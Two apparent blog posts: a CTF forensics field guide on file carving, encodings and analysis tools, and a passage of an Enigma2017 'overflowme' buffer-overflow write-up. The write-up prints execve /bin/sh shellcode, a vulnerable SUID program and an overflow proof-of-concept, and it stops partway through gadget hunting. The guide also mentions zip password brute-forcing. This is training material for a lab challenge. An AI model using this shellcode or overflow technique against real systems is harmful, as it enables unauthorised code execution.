19 Jun 2017, 21:49

CTF Forensics Field Guide

Note: this post was also submitted as a chapter to the CTF field guide.


In a CTF context, “Forensics” challenges can include file format analysis, steganography, memory dump analysis, or network packet capture analysis. Any challenge to examine and process a hidden piece of information out of static data files (as opposed to executable programs or remote servers) could be considered a Forensics challenge (unless it involves cryptography, in which case it probably belongs in the Crypto category).

Forensics is a broad CTF category that does not map well to any particular job role in the security industry, although some challenges model the kinds of tasks seen in Incident Response (IR). Even in IR work, computer forensics is usually the domain of law enforcement seeking evidentiary data and attribution, rather than the commercial incident responder who may just be interested in expelling an attacker and/or restoring system integrity.

Unlike most CTF forensics challenges, a real-world computer forensics task would hardly ever involve unraveling a scheme of cleverly encoded bytes, hidden data, mastroshka-like files-within-files, or other such brain-teaser puzzles. One would typically not bust a criminal case by carefully reassembling a corrupted PNG file, revealing a photo of a QR code that decodes to a password for a zip archive containing an NES rom that when played will output the confession. Rather, real-world forensics typically requires that a practictioner find indirect evidence of maliciousness: either the traces of an attacker on a system, or the traces of “insider threat” behavior. Real-world computer forensics is largely about knowing where to find incriminating clues in logs, in memory, in filesystems/registries, and associated file and filesystem metadata. Also, network (packet capture) forensics is more about metadata analysis than content analysis, as most network sessions are TLS-encrypted between endpoints now.

This disconnect between the somewhat artificial puzzle-game CTF “Forensics” and the way that forensics is actually done in the field might be why this category does not receive as much attention as the vulnerability-exploitation style challenges. It may also lack the “black hat attacker” appeal that draws many players to participate in CTFs. Regardless, many players enjoy the variety and novelty in CTF forensics challenges. It can also be a more beginner friendly category, in which the playing field is evened out by the fact that there are no $5,000 professional tools like IDA Pro Ultimate Edition with Hex-Rays Decompiler that would give a huge advantage to some players but not others, as is the case with executable analysis challenges.

Requisite Skills

For solving forensics CTF challenges, the three most useful abilities are probably:

  • Knowing a scripting language (e.g., Python)
  • Knowing how to manipulate binary data (byte-level manipulations) in that language
  • Recognizing formats, protocols, structures, and encodings

The first and second you can learn and practice outside of a CTF, but the third may only come from experience. Hopefully with this document, you can at least get a good headstart.

And of course, like most CTF play, the ideal environment is a Linux system with – occasionally – Windows in a VM. MacOS is not a bad environment to substitute for Linux, if you can accept that some open-source tools may not install or compile correctly.

Manipulating Binary Data in Python

Assuming you have already picked up some Python programming, you still may not know how to effectively work with binary data. Low-level languages like C might be more naturally suited for this task, but Python’s many useful packages from the open-source community outweigh its learning curve for working with binary data.

Here are some examples of working with binary data in Python.

Writing or reading a file in binary mode:

f = open('Reverseit', "rb")
s = f.read()
f = open('ItsReversed', "wb")

The bytearray type is a mutable sequence of bytes, and is available in both Python 2 and 3:

>>> s = bytearray(b"Hello World")
>>> for c in s: print(c)

You can also define a bytearray from hexidecimal representation Unicode strings:

>>> example2 = bytearray.fromhex(u'00 ff')
>>> example2
>>> example2[1]

The bytearray type has most of the same convenient methods as a Python str or list: split(), insert(), reverse(), extend(), pop(), remove(), etc.

Reading a file into a bytearray for processing:

data = bytearray(open('challenge.png', 'rb').read())

Common Forensics Concepts and Tools

What follows is a high-level overview of some of the common concepts in forensics CTF challenges, and some recommended tools for performing common tasks.

File format identification (and “magic bytes”)

Almost every forensics challenge will involve a file, usually without any context that would give you a guess as to what the file is. Filetypes, as a concept for users, have historically been indicated either with filetype extensions (e.g., readme.md for MarkDown), MIME types (as on the web, with Content-Type headers), or with metadata stored in the filesystem (as with the mdls command in MacOS). In a CTF, part of the game is to identify the file ourselves, using a heuristic approach.

The traditional heuristic for identifying filetypes on UNIX is libmagic, which is a library for identifying so-called “magic numbers” or “magic bytes,” the unique identifying marker bytes in filetype headers. The libmagic libary is the basis for the file command.

$ file screenshot.png 
screenshot.png: PNG image data, 1920 x 1080, 8-bit/color RGBA, non-interlaced

Keep in mind that heuristics, and tools that employ them, can be easily fooled. Because it is a CTF, you may be presented with a file that has been intentionally crafted to mislead file. Also, if a file contains another file embedded somewhere inside it, the file command is only going to identify the containing filetype. In scenarios such as these you may need to examine the file content more closely.

TrID is a more sophisticated version of file. Although it’s closed-source, it’s free and works across platforms. It also uses an identification heuristic, but with certainty percentages. Its advantage is its larger set of known filetypes that include a lot of proprietary and obscure formats seen in the real world.

File carving

Files-within-files is a common trope in forensics CTF challenges, and also in embedded systems’ firmware where primitive or flat filesystems are common. The term for identifying a file embedded in another file and extracting it is “file carving.” One of the best tools for this task is the firmware analysis tool binwalk.

scalpel, now a part of SleuthKit (discussed further under Filesystems) is another tool for file-carving, formerly known as Foremost.

To manually extract a sub-section of a file (from a known offset to a known offset), you can use the dd command. Many hex-editors also offer the ability to copy bytes and paste them as a new file, so you don’t need to study the offsets.

Example of file-carving with dd from an file-offset of 1335205 for a length of 40668937 bytes:

$ dd if=./file_with_a_file_in_it.xxx of=./extracted_file.xxx bs=1 skip=1335205 count=40668937

Although the above tools should suffice, in some cases you may need to programmatically extract a sub-section of a file using Python, using things like Python’s re or regex modules to identify magic bytes, and the zlib module to extract zlib streams.

Initial analysis

At first you may not have any leads, and need to explore the challenge file at a high-level for a clue toward what to look at next. Some of the useful commands to know are strings to search for all plain-text strings in the file, grep to search for particular strings, bgrep to search for non-text data patterns, and hexdump.

Example of using strings to find ASCII strings, with file offsets:

$ strings -o screenshot.png
     12 IHDR
     36 $iCCPICC Profile
     88 U2EI4HB
     767787 IEND

Unicode strings, if they are UTF-8, might show up in the search for ASCII strings. But to search for other encodings, see the documentation for the -e flag. Beware the many encoding pitfalls of strings: some caution against its use in forensics at all, but for simple tasks it still has its place.

Example of searching for the PNG magic bytes in a PNG file:

$ bgrep 89504e47 screenshot.png 
screenshot.png: 00000000

Example of using hexdump:

$ hexdump -C screenshot.png | less
00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 05 ca 00 00 02 88  08 06 00 00 00 40 3d c9  |.............@=.|
00000020  a4 00 00 18 24 69 43 43  50 49 43 43 20 50 72 6f  |....$iCCPICC Pro|
00000030  66 69 6c 65 00 00 58 85  95 79 09 38 55 5d f8 ef  |file..X..y.8U]..|
00000040  da 67 9f c9 71 0c c7 41  e6 79 9e 87 0c 99 e7 39  |.g..q..A.y.....9|

The advantage of hexdump is not that it is the best hex-editor (it’s not), but that you can pipe output of other commands directly into hexdump, and/or pipe its output to grep, or format its output using format strings.

Example of using hexdump format strings to output the first 50 bytes of a file as a series of 64-bit integers in hex:

$ hexdump -n 50 -e '"0x%08x "' screenshot.png
0x474e5089 0x0a1a0a0d 0x0d000000 0x52444849 0xca050000 0x88020000 0x00000608 0xc93d4000 0x180000a4 0x43436924 0x43434950 0x6f725020 0x00006966

Other uses of the hexdump command.

Binary-as-text encodings

Binary is 1’s and 0’s, but often is transmitted as text. It would be wasteful to transmit actual sequences of 101010101, so the data is first encoded using one of a variety of methods. This is what is referred to as binary-to-text encoding, a popular trope in CTF challenges. When doing a strings analysis of a file as discussed above, you may uncover this binary data encoded as text strings.

We mentioned that to excel at forensics CTF challenges, it is important to be able to recognize encodings. Some can be identifed at a glance, such as Base64 encoded content, identifiable by its alphanumeric charset and its “=” padding suffix (when present). There are many Base64 encoder/decoders online, or you can use the base64 command:

$ echo aGVsbG8gd29ybGQh | base64 -D
hello world!

ASCII-encoded hexadecimal is also identifiable by its charset (0-9, A-F). ASCII characters themselves occupy a certain range of bytes (0x00 through 0x7f, see man ascii), so if you are examining a file and find a string like 68 65 6c 6c 6f 20 77 6f 72 6c 64 21, it’s important to notice the preponderance of 0x60’s here: this is ASCII. Technically, it’s text (“hello world!”) encoded as ASCII (binary) encoded as hexadecimal (text again). Confused yet? πŸ˜‰

There are several sites that provide online encoder-decoders for a variety of encodings. For a more local converter, try the xxd command.

Example of using xxd to do text-as-ascii-to-hex encoding:

$ echo hello world\! | xxd -p

Common File formats

We’ve discussed the fundamental concepts and the tools for the more generic forensics tasks. Now, we’ll discuss more specific categories of forensics challenges, and the recommended tools for analyzing challenges in each category.

It would be impossible to prepare for every possible data format, but there are some that are especially popular in CTFs. If you were prepared with tools for analyzing the following, you would be prepared for the majority of Forensics challenges:

  • Archive files (ZIP, TGZ)
  • Image file formats (JPG, GIF, BMP, PNG)
  • Filesystem images (especially EXT4)
  • Packet captures (PCAP, PCAPNG)
  • Memory dumps
  • PDF
  • Video (especially MP4) or Audio (especially WAV, MP3)
  • Microsoft’s Office formats (RTF, OLE, OOXML)

Some of the harder CTF challenges pride themselves on requiring players to analyze an especially obscure format for which no publicly available tools exist. You will need to learn to quickly locate documentation and tools for unfamiliar formats. Many file formats are well-described in the public documentation you can find with a web search, but having some familiarity with the file format specifications will also help, so we include links to those here.

When analyzing file formats, a file-format-aware (a.k.a. templated) hex-editor like 010 Editor is invaluable. An open-source alternative has emerged called Kaitai. Additionally, a lesser-known feature of the Wireshark network protocol analyzer is its ability to analyze certain media file formats like GIF, JPG, and PNG. All of these tools, however, are made to analyze non-corrupted and well-formatted files. Many CTF challenges task you with reconstructing a file based on missing or zeroed-out format fields, etc.

You also ought to check out the wonderful file-formats illustrated visually by Ange Albertini.

Archive files

Most CTF challenges are contained in a zip, 7z, rar, tar or tgz file, but only in a forensics challenge will the archive container file be a part of the challenge itself. Usually the goal here is to extract a file from a damaged archive, or find data embedded somewhere in an unused field (a common forensics challenge). Zip is the most common in the real world, and the most common in CTFs.

There are a handful of command-line tools for zip files that will be useful to know about.

  • unzip will often output helpful information on why a zip will not decompress.
  • zipdetails -v will provide in-depth information on the values present in the various fields of the format.
  • zipinfo lists information about the zip file’s contents, without extracting it.
  • zip -F input.zip --out output.zip and zip -FF input.zip --out output.zip attempt to repair a corrupted zip file.
  • fcrackzip brute-force guesses a zip password (for passwords <7 characters or so).

Zip file format specification

One important security-related note about password-protected zip files is that they do not encrypt the filenames and original file sizes of the compressed files they contain, unlike password-protected RAR or 7z files.

Another note about zip cracking is that if you have an unencrypted/uncompressed copy of any one of the files that is compressed in the encrypted zip, you can perform a “plaintext attack” and crack the zip, as detailed here, and explained in this paper. The newer scheme for password-protecting zip files (with AES-256, rather than “ZipCrypto”) does not have this weakness.

Image file format analysis

CTFs are supposed to be fun, and image files are good for containing hacker memes, so of course image files often appear in CTF challenges. Image file formats are complex and can be abused in many ways that make for interesting analysis puzzles involving metadata fields, lossy and lossless compression, checksums, steganography, or visual data encoding schemes.

The easy initial analysis step is to check an image file’s metadata fields with exiftool. If an image file has been abused for a CTF, its EXIF might identify the original image dimensions, camera type, embedded thumbnail image, comments and copyright strings, GPS location coordinates, etc. There might be a gold mine of metadata, or there might be almost nothing. It’s worth a look.

Example of exiftool output, truncated:

$ exiftool screenshot.png 
ExifTool Version Number         : 10.53
File Name                       : screenshot.png
Directory                       : .
File Size                       : 750 kB
File Modification Date/Time     : 2017:06:13 22:34:05-04:00
File Access Date/Time           : 2017:06:17 13:19:58-04:00
File Inode Change Date/Time     : 2017:06:13 22:34:05-04:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 1482
Image Height                    : 648
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Primary Platform                : Apple Computer Inc.
CMM Flags                       : Not Embedded, Independent
Device Manufacturer             : APPL
Device Model                    : 
Exif Image Width                : 1482
Exif Image Height               : 648
Image Size                      : 1482x648
Megapixels                      : 0.960

PNG files, in particular, are popular in CTF challenges, probably for their lossless compression suitable for hiding non-visual data in the image. PNG files can be dissected in Wireshark. To verify correcteness or attempt to repair corrupted PNGs you can use pngcheck. If you need to dig into PNG a little deeper, the pngtools package might be useful.

Steganography, the practice of concealing some amount of secret data within an unrelated data as its vessel (a.k.a. the “cover text”), is extraordinarily rare in the real world (made effectively obsolete by strong cryptography), but is another popular trope in CTF forensics challenges. Steganography could be implemented using any kind of data as the “cover text,” but media file formats are ideal because they tolerate a certain amount of unnoticeable data loss (the same characteristic that makes lossy compression schemes possible). The difficulty with steganography is that extracting the hidden message requires not only a detection that steganography has been used, but also the exact steganographic tool used to embed it. Given a challenge file, if we suspect steganography, we must do at least a little guessing to check if it’s present. Stegsolve (JAR download link) is often used to apply various steganography techniques to image files in an attempt to detect and extract hidden data. You may also try zsteg.

Gimp provides the ability to alter various aspects of the visual data of an image file. CTF challenge authors have historically used altered Hue/Saturation/Luminance values or color channels to hide a secret message. Gimp is also good for confirming whether something really is an image file: for instance, when you believe you have recovered image data from a display buffer in a memory dump or elsewhere, but you lack the image file header that specifies pixel format, image height and width and so on. Open your mystery data as “raw image data” in Gimp and experiment with different settings.

The ImageMagick toolset can be incorporated into scripts and enable you to quickly identify, resize, crop, modify, convert, and otherwise manipulate image files. It can also find the visual and data difference between two seemingly identical images with its compare tool.

If you are writing a custom image file format parser, import the Python Image Library (PIL) aka Pillow. It enables you to extract frames from animated GIFs or even individual pixels from a JPG – it has native support for most major image file formats.

If working with QR codes (2D barcodes), also check out the qrtools module for Python. You can decode an image of a QR code with less than 5 lines of Python. Of course, if you just need to decode one QR code, any smartphone will do.

Filesystems analysis

Occasionally, a CTF forensics challenge consists of a full disk image, and the player needs to have a strategy for finding a needle (the flag) in this haystack of data. Triage, in computer forensics, refers to the ability to quickly narrow down what to look at. Without a strategy, the only option is looking at everything, which is time-prohibitive (not to mention exhausting).

Example of mounting a CD-ROM filesystem image:

mkdir /mnt/challenge
mount -t iso9660 challengefile /mnt/challenge

Once you have mounted the filesystem, the tree command is not bad for a quick look at the directory structure to see if anything sticks out to you for further analysis.

You may not be looking for a file in the visible filesystem at all, but rather a hidden volume, unallocated space (disk space that is not a part of any partition), a deleted file, or a non-file filesystem structure like an http://www.nirsoft.net/utils/alternate_data_streams.html. For EXT3 and EXT4 filesystems, you can attempt to find deleted files with extundelete. For everything else, there’s TestDisk: recover missing partition tables, fix corrupted ones, undelete files on FAT or NTFS, etc.

The Sleuth Kit and its accompanying web-based user interface, “Autopsy,” is a powerful open-source toolkit for filesystem analysis. It’s a bit geared toward law-enforcement tasks, but can be helpful for tasks like searching for a keyword across the entire disk image, or looking at the unallocated space.

Embedded device filesystems are a unique category of their own. Made for fixed-function low-resource environments, they can be compressed, single-file, or read-only. Squashfs is one popular implementation of an embedded device filesystem. For images of embedded devices, you’re better off analyzing them with firmware-mod-kit or binwalk.

Packet Capture (PCAP) file analysis

Network traffic is stored and captured in a PCAP file (Packet capture), with a program like tcpdump or Wireshark (both based on libpcap). A popular CTF challenge is to provide a PCAP file representing some network traffic and challenge the player to recover/reconstitute a transferred file or transmitted secret. Complicating matters, the packets of interest are usually in an ocean of unrelated traffic, so analysis triage and filtering the data is also a job for the player.

For initial analysis, take a high-level view of the packets with Wireshark’s statistics or conversations view, or its capinfos command. Wireshark, and its command-line version tshark, both support the concept of using “filters,” which, if you master the syntax, can quickly reduce the scope of your analysis. There is also an online service called PacketTotal where you can submit PCAP files up to 50MB, and graphically display some timelines of connections, and SSL metadata on the secure connections. Plus it will highlight file transfers and show you any “suspicious” activity. If you already know what you’re searching for, you can do grep-style searching through packets using ngrep.

Just as “file carving” refers to the identification and extraction of files embedded within files, “packet carving” is a term sometimes used to describe the extraction of files from a packet capture. There are expensive commercial tools for recovering files from captured packets, but one open-source alternative is the Xplico framework. Wireshark also has an “Export Objects” feature to extract data from the capture (e.g., File -> Export Objects -> HTTP -> Save all). Beyond that, you can try tcpxtract, Network Miner, Foremost, or Snort.

If you want to write your own scripts to process PCAP files directly, the dpkt Python package for pcap manipulation is recommended. You could also interface Wireshark from your Python using Wirepy.

If trying to repair a damaged PCAP file, there is an online service for repairing PCAP files called PCAPfix.

A note about PCAP vs PCAPNG: there are two versions of the PCAP file format; PCAPNG is newer and not supported by all tools. You may need to convert a file from PCAPNG to PCAP using Wireshark or another compatible tool, in order to work with it in some other tools.

Memory dump analysis

For years, computer forensics was synonymous with filesystem forensics, but as attackers became more sophisticated, they started to avoid the disk. Also, a snapshot of memory often contains context and clues that are impossible to find on disk because they only exist at runtime (operational configurations, remote-exploit shellcode, passwords and encryption keys, etc). So memory snapshot / memory dump forensics has become a popular practice in incident response. In a CTF, you might find a challenge that provides a memory dump image, and tasks you with locating and extracting a secret or a file from within it.

The premiere open-source framework for memory dump analysis is Volatility. Volatility is a Python script for parsing memory dumps that were gathered with an external tool (or a VMware memory image gathered by pausing the VM). So, given the memory dump file and the relevant “profile” (the OS from which the dump was gathered), Volatility can start identifying the structures in the data: running processes, passwords, etc. It is also extensible using plugins for extracting various types of artifact.

Ethscan is made to find data in a memory dump that looks like network packets, and then extract it into a pcap file for viewing in Wireshark. There are plugins for extracting SQL databases, Chrome history, Firefox history and much more.

PDF file analysis

PDF is an extremely complicated document file format, with enough tricks and hiding places to write about for years. This also makes it popular for CTF forensics challenges. The NSA wrote a guide to these hiding places in 2008 titled “Hidden Data and Metadata in Adobe PDF Files: Publication Risks and Countermeasures.” It’s no longer available at its original URL, but you can find a copy here. Ange Albertini also keeps a wiki on GitHub of PDF file format tricks.

The PDF format is partially plain-text, like HTML, but with many binary “objects” in the contents. Didier Stevens has written good introductory material about the format. The binary objects can be compressed or even encrypted data, and include content in scripting languages like JavaScript or Flash. To display the structure of a PDF, you can either browse it with a text editor, or open it with a PDF-aware file-format editor like Origami.

qpdf is one tool that can be useful for exploring a PDF and transforming or extracting information from it. Another is a framework in Ruby called Origami.

When exploring PDF content for hidden data, some of the hiding places to check include:

  • non-visible layers
  • Adobe’s metadata format “XMP”
  • the “incremental generation” feature of PDF wherein a previous version is retained but not visible to the user
  • white text on a white background
  • text behind images
  • an image behind an overlapping image
  • non-displayed comments

There are also several Python packages for working with the PDF file format, like PeepDF, that enable you to write your own parsing scripts.

Video and Audio file analysis

Like image file formats, audio and video file trickery is a common theme in CTF forensics challenges not because hacking or data hiding ever happens this way in the real world, but just because audio and video is fun. As with image file formats, stegonagraphy might be used to embed a secret message in the content data, and again you should know to check the file metadata areas for clues. Your first step should be to take a look with the mediainfo tool (or exiftool) and identify the content type and look at its metadata.

Audacity is the premiere open-source audio file and waveform-viewing tool, and CTF challenge authors love to encode text into audio waveforms, which you can see using the spectogram view (although a specialized tool called Sonic Visualiser is better for this task in particular). Audacity can also enable you to slow down, reverse, and do other manipulations that might reveal a hidden message if you suspect there is one (if you can hear garbled audio, interference, or static). Sox is another useful command-line tool for converting and manipulating audio files.

It’s also common to check least-significant-bits (LSB) for a secret message. Most audio and video media formats use discrete (fixed-size) “chunks” so that they can be streamed; the LSBs of those chunks are a common place to smuggle some data without visibly affecting the file.

Other times, a message might be encoded into the audio as DTMF tones or morse code. For these, try working with multimon-ng to decode them.

Video file formats are really container formats, that contain separate streams of both audio and video that are multiplexed together for playback. For analyzing and manipulating video file formats, ffmpeg is recommended. ffmpeg -i gives initial analysis of the file content. It can also de-multiplex or playback the content streams. The power of ffmpeg is exposed to Python using ffmpy.

Office file analysis

Microsoft has created dozens of office document file formats, many of which are popular for the distribution of phishing attacks and malware because of their ability to include macros (VBA scripts). Microsoft Office document forensic analysis is not too different from PDF document forensics, and just as relevant to real-world incident response.

Broadly speaking, there are two generations of Office file format: the OLE formats (file extensions like RTF, DOC, XLS, PPT), and the “Office Open XML” formats (file extensions that include DOCX, XLSX, PPTX). Both formats are structured, compound file binary formats that enable Linked or Embedded content (Objects). OOXML files are actually zip file containers (see the section above on archive files), meaning that one of the easiest ways to check for hidden data is to simply unzip the document:

$ unzip example.docx 
Archive:  example.docx
  inflating: [Content_Types].xml     
  inflating: _rels/.rels             
  inflating: word/_rels/document.xml.rels  
  inflating: word/document.xml       
  inflating: word/theme/theme1.xml   
 extracting: docProps/thumbnail.jpeg  
  inflating: word/comments.xml       
  inflating: word/settings.xml       
  inflating: word/fontTable.xml      
  inflating: word/styles.xml         
  inflating: word/stylesWithEffects.xml  
  inflating: docProps/app.xml        
  inflating: docProps/core.xml       
  inflating: word/webSettings.xml    
  inflating: word/numbering.xml
$ tree
β”œβ”€β”€ [Content_Types].xml
β”œβ”€β”€ _rels
β”œβ”€β”€ docProps
β”‚Β Β  β”œβ”€β”€ app.xml
β”‚Β Β  β”œβ”€β”€ core.xml
β”‚Β Β  └── thumbnail.jpeg
└── word
    β”œβ”€β”€ _rels
    β”‚Β Β  └── document.xml.rels
    β”œβ”€β”€ comments.xml
    β”œβ”€β”€ document.xml
    β”œβ”€β”€ fontTable.xml
    β”œβ”€β”€ numbering.xml
    β”œβ”€β”€ settings.xml
    β”œβ”€β”€ styles.xml
    β”œβ”€β”€ stylesWithEffects.xml
    β”œβ”€β”€ theme
    β”‚Β Β  └── theme1.xml
    └── webSettings.xml

As you can see, some of the structure is created by the file and folder hierarchy. The rest is specified inside the XML files. New Steganographic Techniques for the OOXML File Format, 2011 details some ideas for data hiding techniques, but CTF challenge authors will always be coming up with new ones.

Once again, a Python toolset exists for the examination and analysis of OLE and OOXML documents: oletools. For OOXML documents in particular, OfficeDissector is a very powerful analysis framework (and Python library). The latter includes a quick guide to its usage.

Sometimes the challenge is not to find hidden static data, but to analyze a VBA macro to determine its behavior. This is a more realistic scenario, and one that analysts in the field perform every day. The aforementioned dissector tools can indicate whether a macro is present, and probably extract it for you. A typical VBA macro in an Office document, on Windows, will download a PowerShell script to %TEMP% and attempt to execute it, in which case you now have a PowerShell script analysis task too. But malicious VBA macros are rarely complicated, since VBA is typically just used as a jumping-off platform to bootstrap code execution. In the case where you do need to understand a complicated VBA macro, or if the macro is obfuscated and has an unpacker routine, you don’t need to own a license to Microsoft Office to debug this. You can use Libre Office: its interface will be familiar to anyone who has debugged a program; you can set breakpoints and create watch variables and capture values after they have been unpacked but before whatever payload behavior has executed. You can even start a macro of a specific document from a command line:

$ soffice path/to/test.docx macro://./standard.module1.mymacro

12 Feb 2017, 17:52

Enigma2017 CTF Overflowme Writeup

As mentioned in my last post, I spent some time solving security challenges posted on HackCenter for the Enigma2017 conference. This one (obviously) was to exploit a buffer overflow vulnerability. It was meant to be relatively easy, but sometimes you don’t realize the easiest approach first. I’ll walk through not just the solution, but the things I tried that didn’t work. It was a refresher course in exploitation for me – I’ve spent many years on defense research and needed to brush up again. I know that this is a fast walkthrough, but I don’t want to try to teach every concept here, since it is a rather basic exercise, and many others have already explained them elsewhere. If you’re reading and would like clarification, feel free to hit me up on Twitter.

The Challenge

They provided a web shell (literally a terminal emulator in your browser, at HackCenter.com) to a Linux host, and they even gave some free shellcode, \x31\xC0\xF7\xE9\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x68\x2D\x69\x69\x69\x89\xE6\x50\x56\x53\x89\xE1\xB0\x0B\xCD\x80. You can disassemble this several ways, but a fast and easy way is someone else’s server running Capstone.js. We observe that it is an execve syscall at the end, and apparently is running /bin/sh to provide a shell. We already have a shell, so there must be something different about this target process they want us to exploit.

    31 C0   xor eax, eax                # eax = NULL
    F7 E9   imul ecx
    50      push eax                    # the NULL that terminates the string
    68 2F 2F 73 68  push 0x68732f2f     # not a pointer! The string: β€œh//sh”
    68 2F 62 69 6E  push 0x6e69622f     # not a pointer! The string: β€œh/bin”
    89 E3   mov ebx, esp
    50      push eax                    # the NULL that terminates the string
    68 2D 69 69 69  push 0x6969692d     # the string β€œh-iii”
    89 E6   mov esi, esp
    50      push eax                    # arguments
    56      push esi                    #	  to
    53      push ebx                    #		execve()
    89 E1   mov ecx, esp
    B0 0B   mov al, 0xb                 # the code number for execve()
    CD 80   int 0x80                    # syscall()

Now let’s take a look at the shell we are given:

$ uname -a
Linux enigma2017 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1 (2016-12-30) x86_64 GNU/Linux
$ pwd
$ ls -la
total 24                     
drwxr-xr-x  2 root       root         4096 Jan 27 16:07 .
drwxr-x--x 89 root       root         4096 Jan 27 16:07 ..
-r--r-----  1 hacksports overflowme_0   33 Jan 31 18:57 key
-rwxr-sr-x  1 hacksports overflowme_0 6088 Jan 31 18:57 overflowme
-rw-rw-r--  1 hacksports hacksports    530 Jan 31 18:57 overflowme.c
$ id
uid=1883(myname) gid=1884(myname) groups=1884(myname),1001(competitors)
$ checksec --file overflowme
# ...weirdly, checksec never returns, a bug in HackCenter maybe...
$ cat /proc/sys/kernel/randomize_va_space

Notice the permissions for the overlowme binary include the SUID access right flag. When you run this binary, it runs as the user hacksports, who is the owner of key and can read it. The goal here is to run arbitrary code in this process and use it to read key. The given shellcode, executed by overflowme, would provide us a shell where we have the ability to read key.

Notice also the last command, which reads out the ASLR setting: 2. That means that we should expect the OS to randomize the layout of the program’s memory when it runs (both text and data segments, is what 2 means).

What about the source code they’re letting us see?

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "inspection.h"

void vuln(char *str) {
    char buf[979];
    sprintf(buf, "Hello %s", str);

void be_nice_to_people(){
    gid_t gid = getegid();
    setresgid(gid, gid, gid);

int main(int argc, char **argv) {

    if (argc != 2) {
        printf("Usage: %s [name]\n", argv[0]);
        return 1;

    return 0;

The Vulnerability

This is a stack-based buffer overflow in the sprintf() call. A fixed-length buffer, buf[979] takes a user input of unchecked (and unlimited) length, in the program’s first command-line argument. Since buf is on the stack (as it is a local variable to the function vuln), this is a stack-based buffer overflow.

There are many, many guides out there that explain what happens when you overflow a stack-based buffer on a program that was compiled with absolutely no exploit mitigations: your input overwrites the saved return pointer (also on the stack), and the function epilogue’s RET instruction transfers code execution to the address that is now part of the overflowed input. So, the attacker decides where execution will go: arbitrary code execution.

Proof of the vulnerability:

$ ./overflowme `perl -e 'print "\x30"x982'`

or if you prefer Python:

$ ./overflowme `python -c 'print "\x30"*982'`

The Exploitation

Successful exploitation in a real-world scenario would require multiple prerequisite steps, but this is a simplified exploitaiton case. We just need to solve a few things.

  1. Determine the offset in the attack input at which it overwrites the stored return pointer. These bytes have to point to where execution should go.
  2. In order to complete step 1, determine the address where execution should go.

Let’s start with the 2nd thing. Check the process memory map by launching it under GDB and using ProcFS:

(gdb) start
(gdb) shell ps
# ... observe the PID of overflowme, it is 32687
(gdb) shell cat /proc/32687/maps
08048000-08049000 r-xp 00000000 ca:02 2490631     /problems/9ae8cc98f274aa6de77715eb9bdea7ed/overflowme
08049000-0804a000 rwxp 00000000 ca:02 2490631     /problems/9ae8cc98f274aa6de77715eb9bdea7ed/overflowme
f7570000-f7571000 rwxp 00000000 00:00 0
f7571000-f7718000 r-xp 00000000 ca:02 786437      /lib32/libc-2.19.so
f7718000-f771a000 r-xp 001a7000 ca:02 786437      /lib32/libc-2.19.so
f771a000-f771b000 rwxp 001a9000 ca:02 786437      /lib32/libc-2.19.so
f771b000-f771f000 rwxp 00000000 00:00 0
f772a000-f772b000 rwxp 00000000 00:00 0
f772b000-f772c000 r-xp 00000000 00:00 0           [vdso]
f772c000-f772e000 r--p 00000000 00:00 0           [vvar]
f772e000-f774e000 r-xp 00000000 ca:02 786434      /lib32/ld-2.19.so
f774e000-f774f000 r-xp 0001f000 ca:02 786434      /lib32/ld-2.19.so
f774f000-f7750000 rwxp 00020000 ca:02 786434      /lib32/ld-2.19.so
fff84000-fffa5000 rwxp 00000000 00:00 0           [stack]

The last memory range, [stack] is executable. You would not see this anymore these days, but this makes exploitation easier, it means shellcode in the buffer overflow input itself can run where it exists, directly. So we just need to check where the buffer is on the stack and put the address into the buffer and we’re good to go?

Well hold on. Recall that we saw ASLR was enabled in the OS. Let’s run it another time and see these maps again.

08048000-08049000 r-xp 00000000 ca:02 2490631   /problems/9ae8cc98f274aa6de77715eb9bdea7ed/overflowme           
08049000-0804a000 rwxp 00000000 ca:02 2490631   /problems/9ae8cc98f274aa6de77715eb9bdea7ed/overflowme
f75fd000-f75fe000 rwxp 00000000 00:00 0
f75fe000-f77a5000 r-xp 00000000 ca:02 786437    /lib32/libc-2.19.so
f77a5000-f77a7000 r-xp 001a7000 ca:02 786437    /lib32/libc-2.19.so    
f77a7000-f77a8000 rwxp 001a9000 ca:02 786437    /lib32/libc-2.19.so
f77a8000-f77ac000 rwxp 00000000 00:00 0
f77b7000-f77b8000 rwxp 00000000 00:00 0
f77b8000-f77b9000 r-xp 00000000 00:00 0         [vdso]
f77b9000-f77bb000 r--p 00000000 00:00 0         [vvar]
f77bb000-f77db000 r-xp 00000000 ca:02 786434    /lib32/ld-2.19.so
f77db000-f77dc000 r-xp 0001f000 ca:02 786434    /lib32/ld-2.19.so
f77dc000-f77dd000 rwxp 00020000 ca:02 786434    /lib32/ld-2.19.so
ffb9d000-ffbbe000 rwxp 00000000 00:00 0         [stack]  

See that the stack is at a different address. The OS has applied ASLR to the data segments and the shared libraries for libc and ld. However, the entirety of the program binary itself has not moved. That is, apparently overflowme was not even compiled with support for ASLR. Cool!

Our shellcode is on the stack though, and the stack is one of the parts of memory that is moving around on every run. But that’s what we need a pointer to! Our only hope, then, is to find an instruction somewhere in the static mappings that jumps execution back to the stack. Note: here is where I tried a number of unnecessary and fruitless solutions, thinking about this like a modern exploit developer (ROP gadgets, trampolines, etc.). If you just want to read the solution, skip to the next section where I “Phone a Friend.”

My goal was to find an “instruction gadget” within the static mapping that would effectively work as a JMP ESP or CALL ESP. Using hexdump -C | grep FF I looked for FF E4 or FF D4 sequences. This is an extremely crude way to do this, but keep in mind the binary is very small. Unfortunately, because it’s so small, there was also no occurence of either byte sequence.

If any of the general-purpose registers at the time of the function return happen to also hold pointers to the stack range, then we could trampoline through a JMP EAX/EBX/ECX/EDX or CALL EAX/EBX/ECX/EDX, etc. So I also looked for any of these sequences. I found an FF D0 (call EAX), and a FF D2 (call EDX)! Good, but do we control either of those registers? Check: (gdb) info registers:

eax            0x0      0                         
ebx            0xffa5d5a0       -5909088
ecx            0xf7726878       -143497096
edx            0x0      0
esp            0xffa5d56c       0xffa5d56c
ebp            0xffa5d588       0xffa5d588 

